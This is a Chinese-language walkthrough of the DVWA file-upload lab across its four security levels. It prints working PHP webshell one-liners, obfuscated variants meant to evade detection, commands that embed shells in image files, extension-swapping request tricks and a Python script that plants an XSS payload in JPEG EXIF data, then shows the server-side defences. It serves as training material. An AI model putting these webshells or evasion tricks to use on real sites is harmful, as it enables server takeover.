目录
LOW
Medium
HIgh
Impossible
概述
很多Web站点都有文件上传的接口(比如注册时上传头像等),由于没有对上传的文件类型进行严格限制,导致可以上传一些文件(比如Webshell)。
上传和SQL、XSS等都是主流的web手法。
代码
代码分析
$_FILES变量专门用于获取上传文件的各种信息。
$_FILES['uploaded']['name'],获取客户端文件的原名称;
$_FILES['uploaded']['tmp_name']”,获取文件被上传后在服务端存储的临时文件名。
$target_path=DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
指定文件上传路径为“网站根目录/hackable/uploads”
$target_path =$target_path. basename( $_FILES['uploaded']['name']);
指定上传之后的文件名及保存路径代码分析及攻击方法
move_uploaded_file($_FILES['uploaded']['tmp_name'],$target_path)
将上传后的文件移动到变量Starget_path指定的新位置
在low级别中,没有对上传的文件进行任何过滤,可以直接将php木马文件上传到服
务器中。
LOW
源码
写shell
1.php
<?php @eval($_POST['cmd']);?># 隐蔽性编码混淆
1.php
<?php $a='_PO'; $b='ST'; $c=$a.$b; @eval($c['cmd']);?> // 混淆变量名
<?php @eval(gzinflate(base64_decode('...')));?> // 结合编码绕过检测
上传shell
getshell
冰蝎getshell
上传图片shell(Apache 的多后缀解析机制造成解析漏洞:1.php.png逐层解析)
# Linux/mac
# 或用二进制编辑工具在图片尾部添加代码
echo "<?php @eval($_POST['cmd']);?>" >> 1.php.gif# Win
1.jpg
1.php :<?php @eval($_POST['cmd']);?># 二进制形式合并
CMD>copy /b 1.jpg + 1.php a.jpg
Medium
源码
上传xx.jpeg抓包
修改后缀发送
蚁剑连接
HIgh
源码
上传一个随便改后缀为图片格式的东西
上传图片马
copy /b 1.png + 11.php a.jpeg
抓包修改后缀
Impossible
源码
尝试利用图片元数据
b.py+同目录下放一个正常xxx.jpg==注入元数据合成而已jpg
import os
import piexif# 打印当前工作目录(用于调试)
print(f"当前工作目录:{os.getcwd()}")# 获取脚本所在目录
script_dir = os.path.dirname(os.path.abspath(__file__))
# 配置路径(使用 .jpg 扩展名)
ORIGINAL_IMAGE = os.path.join(script_dir, "test.jpg") # 使用 .jpg 扩展名
OUTPUT_IMAGE = os.path.join(script_dir, "exploit.jpg")def create_malicious_image():try:# 检查原始图像是否存在if not os.path.exists(ORIGINAL_IMAGE):raise FileNotFoundError(f"文件不存在: {ORIGINAL_IMAGE}")with open(ORIGINAL_IMAGE, "rb") as f:img_data = f.read()# 验证JPEG文件结尾if len(img_data) < 2 or img_data[-2:] != b"\xFF\xD9":print(f"文件长度: {len(img_data)} 字节")print(f"最后两个字节: {img_data[-2:].hex()}")raise ValueError("无效的JPEG文件,缺少结束符 \xFF\xD9")# 创建恶意EXIF数据exif_dict = {"0th": {piexif.ImageIFD.ImageDescription: "<script>alert('XSS');</script>"}}exif_bytes = piexif.dump(exif_dict)# 拼接数据modified_data = img_data[:-2] + exif_bytes + b"\xFF\xD9"# 写入新图像with open(OUTPUT_IMAGE, "wb") as f:f.write(modified_data)print(f"成功生成恶意图像:{OUTPUT_IMAGE}")except FileNotFoundError as e:print(f"错误:{e}")except ValueError as e:print(f"格式错误:{e}")except Exception as e:print(f"未知错误:{e}")if __name__ == "__main__":create_malicious_image()
上传
点击图片链接F12
控制台啥也没看到,估计元数据被清除了
exiftool工具查看上传上去的图片元数据
正常:没看到输出
exif_dict = {"GPS": {0x0001: b"<script>alert('Custom XSS');</script>" # 这里假设用0x0001作为自定义标签编号}
}
Image Description : <script>alert('XSS');</script>
GD函数库
// 此处使用GD库处理JPEG图像
if( $uploaded_type == 'image/jpeg' ) {// imagecreatefromjpeg() - GD库函数,从JPEG文件创建图像资源// 此函数会解析图像像素数据,但会忽略原文件中的EXIF等元数据$img = imagecreatefromjpeg( $uploaded_tmp );// imagejpeg() - GD库函数,将图像资源保存为JPEG文件// 此函数会重新编码图像,且不会保留原始的EXIF元数据imagejpeg( $img, $temp_file, 100);
}
else {// 此处使用GD库处理PNG图像// imagecreatefrompng() - GD库函数,从PNG文件创建图像资源$img = imagecreatefrompng( $uploaded_tmp );// imagepng() - GD库函数,将图像资源保存为PNG文件imagepng( $img, $temp_file, 9);
}
// 释放图像资源,避免内存泄漏
imagedestroy( $img );
$image = new Imagick($uploaded_tmp);
$image->stripImage(); // 彻底移除所有元数据
$image->writeImage($temp_file);